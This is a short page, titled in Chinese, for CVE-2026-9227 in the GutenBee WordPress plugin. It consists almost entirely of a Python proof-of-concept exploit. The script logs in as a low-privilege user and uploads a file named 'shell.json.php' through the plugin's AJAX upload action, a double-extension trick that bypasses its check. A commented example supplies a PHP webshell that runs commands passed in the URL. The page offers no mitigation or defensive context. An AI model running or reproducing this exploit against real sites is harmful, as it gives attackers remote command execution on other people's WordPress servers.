CVE-2026-9227 GutenBee WordPress插件任意文件上传漏洞

import requests import sys # CVE-2026-9227 PoC - GutenBee Arbitrary File Upload # Target: WordPress site with GutenBee plugin <= 2.20.1 def exploit(target_url, username, password, webshell_content): """ Exploit arbitrary file upload vulnerability in GutenBee plugin """ # Login to WordPress login_url = target_url + '/wp-login.php' session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print('[-] Login failed') return False print('[+] Login successful') # Upload malicious file with double extension bypass upload_url = target_url + '/wp-admin/admin-ajax.php' # Bypass: shell.json.php passes strpos() check but is PHP file files = { 'file': ('shell.json.php', webshell_content, 'application/octet-stream') } data = { 'action': 'gutenbee_file_upload', 'function': 'gutenbee_file_and_ext_json' } resp = session.post(upload_url, files=files, data=data) if 'success' in resp.text or resp.status_code == 200: print('[+] File uploaded successfully') print(f'[+] Webshell path: {target_url}/wp-content/uploads/gutenbee/shell.json.php') return True else: print('[-] Upload failed') return False if __name__ == '__main__': print('CVE-2026-9227 GutenBee File Upload Exploit') # Usage example # target = 'http://target.com' # exploit(target, 'author', 'password', '<?php system($_GET["cmd"]); ?>')